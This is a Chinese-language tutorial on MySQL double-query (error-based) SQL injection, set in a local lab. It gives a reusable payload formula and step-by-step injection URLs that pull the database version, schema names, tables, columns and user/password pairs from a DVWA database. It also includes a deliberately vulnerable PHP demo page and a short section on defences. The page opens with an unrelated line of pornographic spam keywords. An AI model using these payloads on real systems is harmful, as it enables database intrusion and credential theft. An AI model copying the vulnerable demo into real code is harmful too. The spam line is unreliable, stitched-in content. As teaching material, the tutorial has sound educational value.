偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

數(shù)據(jù)安全之雙查詢注入解析

安全 數(shù)據(jù)安全
介紹一下雙查詢注入,什么叫雙查詢注入,這個有點難以解釋,通俗的來說就是嵌套子查詢。我們理解一下子查詢,查詢的關(guān)鍵字是select,這個大家都知道。子查詢可以簡單的理解在一個select語句里還有一個select,里面的這個select語句就是子查詢。

介紹一下雙查詢注入,什么叫雙查詢注入,這個有點難以解釋,通俗的來說就是嵌套子查詢。我們理解一下子查詢,查詢的關(guān)鍵字是select,這個大家都知道。子查詢可以簡單的理解在一個select語句里還有一個select,里面的這個select語句就是子查詢。

這種方法適用于注入的時候沒有返回位,但是有返回位的時候也適用,不過又返回位的時候就不建議在、用這個啦!返回位就是你們union select 1,2,3,4,5,6,7,8 這里是8個字段

 

shuangchaxun1

 

這里顯示2,4,5,6,7,8就是返回位

另外,就是要有返回mysql錯誤提示,php返回錯誤提示有兩種,看下圖

這是mysql返回的錯誤

 

shuangchaxun2

 

這是php返回的錯誤

 

shuangchaxun3

 

雙注入的原理,簡單一句話原理就是有研究人員發(fā)現(xiàn),當在一個聚合函數(shù),比如count函數(shù)后面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。

floor()和rand(),count()就不在多說啦

但是concat()函數(shù),就來說一下,concat是一個連接函數(shù),可以連接多個字符,例如

1concat("abc","123")="abc123"

并且支持ascii碼,例如:

1concat("abc",0x22,"123")=abc"123

(0×22就是雙引號,可以用來當分隔符)

這里在mysql輸入

1select concat((select version()))

 

shuangzhuru4

 

在concat里執(zhí)行查詢要用括號括起來,同時要確定只返回 一條數(shù)據(jù),不然得用limit來保證只有一條結(jié)果 (limit 0,1 返回第一條)

如果這條語句添加from的話,就會返回表中的記錄的條數(shù),就是有多少條記錄就會返回多少次的版本號,看圖

 

shuangzhuru5

 

這里還沒有顯示完!!

因此

1select concat((select version()),floor(rand()*2)) from mysql.user;

(這里我用的是mysql中的mysql數(shù)據(jù)庫,user表有四條記錄 )

(小編注:rand()函數(shù)是生成0-1之間的小數(shù)隨機值,rand()*2是生成0-2之間的小數(shù)隨機數(shù),floor(rand()*2)就相當于生成0/1兩個隨機值)

Attention,這里顯示的值是版本號加上rand()生成的,正確版本好是去掉后面的0或1

現(xiàn)在我們加上group by ,因為如果我們從from 某張表的話,可能里面就會有很多條記錄,然后就可能生成隨機值(據(jù)說是這樣的,如果不是,還望告知)

這里用information_schema.tables來弄,因為他的記錄夠多 ,如前一條語句,你就可以知道啦

 

shuangzhuru6

 

group by 一下多清爽啦

看語句中

1select concat((select version()),floor(rand()*2))a from information_schema.tables group by a;

這里加粗的a是把 as a 簡寫成 a 而已,說一下group by ,這個的作用就是把5.1.69-0ubuntu0.10.04.10 分為一組,5.1.69-0ubuntu0.10.04.11 的分為一組

(小編注:如果各位看官不知道這里是怎么回事,執(zhí)行一下

1select concat((select version()),floor(rand()*2)) from information_schema.tables

就清楚了)

最后就來到這個count()函數(shù)了,這個函數(shù)妙用可以看一下下圖

1select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a

 

shuangzhuru7

 

看到了沒有,返回了我們后面concat的內(nèi)容啦

ERROR 1062 (23000): Duplicate entry ’15.1.69-0ubuntu0.10.04.1′ for key ‘group_key’,我們看看phpmyadmin下比較詳細的報錯:

 

shuangchaxun21

 

說了這么多就為了這個而已!!

好了,給個小小demo(demo在本文最后)給你們,不過弄不出一個沒有顯示返回位的,所以就將就一下的

然后雙注入查詢是有固定公式的

1union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆數(shù)據(jù)語句))a from information_schema.tables group by a)b

這里將下面的demo設置數(shù)據(jù)庫的一些參數(shù)之后,保存成yi.php,我們的演示就正式開始了

這是正常的情況:

 

shuangzhuru8

 

加個單引號后

 

shuangzhuru9

 

這里說明有注入了,然后用order by 判斷字段咯,這里就截圖了(太麻煩啦),字段數(shù)是8個(其實不判斷也可以的,只要確定有注入就行啦)

1、先讀個數(shù)據(jù)庫的版本、用戶、當前庫名

1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select concat(version(),0x22,user(),0x22,database())))a from information_schema.tables group by a)b

 

shuangzhuru10

 

這里數(shù)據(jù)庫版本:5.1.28-rc-community

用戶是:root@localhost

數(shù)據(jù)庫名:test

2、然后讀數(shù)據(jù)庫有哪些庫

1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select schema_name from information_schema.schemata limit 0,1))a from information_schema.tables group by a)b

 

shuangzhuru11

 

這里要注意,因為sql語句會返回多條記錄,所以要用limit來限制返回的條數(shù),limit 0,1是第一條記錄

limit 1,1是第二條記錄

(小編注:通過控制limit來逐條查看數(shù)據(jù)庫名稱,請忽略前面的0或是1)

3、然后看看有什么表

因為我有個dvwa的數(shù)據(jù)庫,所以就用那個來做示范啦

1http://127.0.0.1/yi.php?id=-1 union select 1 from (select+count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1))a from information_schema.tables group by a)b

加粗是dvwa的hex值,這樣得到dvwa的users的表

 

shuangzhuru12

 

4、然后看有什么字段

1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*) ,concat(floor(rand(0)*2),(select column_name from information_schema.columns where table_name =0x7573657273 limit 0,1 ))a from information_schema.tables group by a)b

 

shuangzhuru13

 

然后修改limit的值,得到字段user,password

5、然后讀取字段的值

1http://127.0.0.1/yi.php?id=-1 union Select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user,0x22,password) from dvwa.users limit 0,1))a from information_schema.tables group by a)b

 

shuangzhuru14

 

這樣子就得到字段的值啦,然后提醒一下,要是跨庫讀取數(shù)據(jù),要寫成數(shù)據(jù)庫名然后.表名。因為當前數(shù)據(jù)庫是test,然后我讀的是dvwa庫的users的表,所以要寫成dvwa.users

好了基本就是這么多啦。

防范辦法:

一個是過濾啦(把’,”,union,select load_file,%,and等敏感字符都過濾啦)

另一個是參數(shù)化查詢,就是一種把查詢語句給固定死了,無論傳過來的值是什么,都只當做變量來執(zhí)行查詢語句

demo的源碼:

  1. <?php 
  2. $dbuser = "root"
  3. $dbpwd = "";     //這里是mysql的密碼 
  4. $db = "test"
  5. $conn = mysql_connect("localhost",$dbuser,$dbpwdor die("error"); 
  6. mysql_select_db($db,$conn); 
  7. $id = $_GET['id']; 
  8. $query = "select * from test where id =$id"
  9. $result = mysql_query($queryor die(mysql_error()); 
  10. print_r(mysql_fetch_array($result)); 
  11. //簡單的寫一下而已 
  12. ?> 

[via@廣外(廣東外語外貿(mào)大學)網(wǎng)絡安全小組_臺灣鴿]

責任編輯:藍雨淚 來源: 網(wǎng)絡安全攻防實驗室
相關(guān)推薦

2020-08-30 14:34:42

Java語言安全編碼web安全

2010-09-30 09:11:01

2013-01-11 16:31:27

2021-05-08 15:22:31

網(wǎng)絡安全Web安全SQL

2012-11-14 17:18:58

2010-05-19 18:42:23

2013-07-27 14:14:25

2011-03-07 15:54:30

2020-01-11 12:53:51

雙態(tài)IT智能運維睿至大數(shù)據(jù)

2016-12-21 16:12:12

2021-07-15 06:43:12

Python數(shù)據(jù)結(jié)構(gòu)

2009-08-11 17:30:46

2010-05-13 14:14:45

2020-06-08 08:25:50

據(jù)銷毀安全數(shù)據(jù)安全DSMM

2022-03-18 14:44:14

數(shù)據(jù)安全端點安全防護

2018-09-11 04:14:24

2020-02-07 09:32:08

數(shù)據(jù)安全數(shù)據(jù)資產(chǎn)管理安全風險

2020-12-16 13:22:37

Web安全SQL工具

2011-03-02 17:09:20

2024-01-01 16:16:26

點贊
收藏

51CTO技術(shù)棧公眾號